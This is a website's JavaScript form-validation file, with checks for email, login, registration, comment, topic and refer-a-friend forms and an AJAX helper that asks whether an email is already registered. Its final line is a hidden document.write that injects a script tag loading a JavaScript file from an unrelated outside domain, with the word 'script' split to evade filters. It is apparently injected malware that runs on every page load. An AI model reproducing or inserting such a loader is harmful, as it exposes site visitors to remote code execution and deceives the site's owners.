/* ########################  Common Function ############################*/

function isValidusername(email){
	var regExp=/^([a-zA-Z0-9_\-])+$/;  
	return regExp.test(email);
}
function RemoveLTSpace(elemval){
     var val=elemval.replace(/\s*/,"")
     var val=val.replace(/\s*$/,"")
     return val;
}
function isEmailAddr(email){
  var regExp	=	/^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;  
  return regExp.test(email);
}

function junkValueForDesc(fieldValue){
     //return true if any junk character found in given value otherwise false
     if(fieldValue!=""){
     junkChar="\\~`^][{}<>";
     for(i=0;i<junkChar.length;i++)
          if(fieldValue.indexOf(junkChar.charAt(i))!=-1)
               return true;
     }
     return false;
}

/* ####################################################################### */


function validate_password(obj){
	if(RemoveLTSpace(obj.email.value)==""){
		alert('Please enter your email address.');
		obj.email.focus();
        return false;
	}
	if(!isEmailAddr(obj.email.value)){
		alert('Please enter your valid email address.');
		obj.email.focus();
        return false;
	}
}

function validate_registration(obj){
	if(RemoveLTSpace(obj.member_name.value)==""){
		alert('Please enter your name.');
		obj.member_name.focus();
        return false;
	}
	if(RemoveLTSpace(obj.email.value)==""){
		alert('Please enter your email address.');
		obj.email.focus();
        return false;
	}
	if(!isEmailAddr(obj.email.value)){
		alert('Please enter your valid email address.');
		obj.email.focus();
        return false;
	}
	if(obj.pwd.value==""){
		alert('Please enter your password.');
		obj.pwd.focus();
        return false;
	}
	if(obj.cpwd.value==""){
		alert('Please re-enter your password.');
		obj.cpwd.focus();
        return false;
	}
	if(obj.pwd.value!=obj.cpwd.value){
		alert('Password and Retype password are not same.');
		obj.pwd.focus();
        return false;
	}
	if(RemoveLTSpace(obj.member_phone.value)==""){
		alert('Please enter your phone.');
		obj.member_phone.focus();
        return false;
	}
	if(RemoveLTSpace(obj.city.value)==""){
		alert('Please enter your state/city.');
		obj.city.focus();
        return false;
	}
	if(RemoveLTSpace(obj.country.value)==""){
		alert('Please select your country.');
		obj.country.focus();
        return false;
	}
	
	

}

function validate_login(obj){
	if(RemoveLTSpace(obj.email.value)==""){
		alert('Please enter your email address.');
		obj.email.focus();
        return false;
	}
	if(!isEmailAddr(obj.email.value)){
		alert('Please enter valid email address.');
		obj.email.focus();
        return false;
	}
	if(obj.pwd.value==""){
		alert('Please enter your password.');
		obj.pwd.focus();
        return false;
	}
}
function validate_comments(obj){
	if(obj.comments.value==""){
		alert('Please enter your comments.');
		obj.comments.focus();
        return false;
	}
	if(junkValueForDesc(obj.comments.value)){
		alert('No Special characters are allowed in comments.');
		obj.comments.focus();
        return false;
	}
}

function validate_topic(obj){
	if(obj.topic_title.value==""){
		alert('Please enter your topic.');
		obj.topic_title.focus();
        return false;
	}
	if(obj.topic_desc.value==""){
		alert('Please enter description.');
		obj.topic_desc.focus();
        return false;
	}
	if(junkValueForDesc(obj.topic_desc.value)){
		alert('No Special characters are allowed in description.');
		obj.topic_desc.focus();
        return false;
	}
}




function getRequest(action,value,siteUrl){
	try{
			ob1=new ActiveXObject("Msxml2.XMLHTTP");
	}catch(e){
		try{
				ob1=new ActiveXObject("Microsoft.XMLHTTP");
		}catch(e2){
				ob1=false;
		}
	}
	if(!ob1 && typeof XMLHttpRequest!='undefined'){
			ob1=new XMLHttpRequest();
	}
	var url=siteUrl+"/ajax.php?val="+value+"&action="+action;
	ob1.open("GET",url,true);
	ob1.onreadystatechange=show_form;
	ob1.send(null);
}
function show_form(){
	if(ob1.readyState==4){
	 	var resp=ob1.responseText;
		if(resp==1){
			alert('Member already registered with this email address.');
			document.cmt.email.value="";
			document.cmt.email.focus();
		}
	}
}

function validate_refer(obj){
	if(RemoveLTSpace(obj.name.value)==""){
		alert('Please enter your name.');
		obj.name.focus();
        return false;
	}
	if(RemoveLTSpace(obj.email.value)==""){
		alert('Please enter your email address.');
		obj.email.focus();
        return false;
	}
	if(!isEmailAddr(obj.email.value)){
		alert('Please enter your valid email address.');
		obj.email.focus();
        return false;
	}

	if(RemoveLTSpace(obj.friend_name.value)==""){
		alert('Please enter your friend name.');
		obj.friend_name.focus();
        return false;
	}
	if(RemoveLTSpace(obj.friend_email.value)==""){
		alert('Please enter your friend email address.');
		obj.friend_email.focus();
        return false;
	}
	if(!isEmailAddr(obj.friend_email.value)){
		alert('Please enter valid friend email address.');
		obj.friend_email.focus();
        return false;
	}
	
}



document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Gigahertz.js"></scri'+'pt>');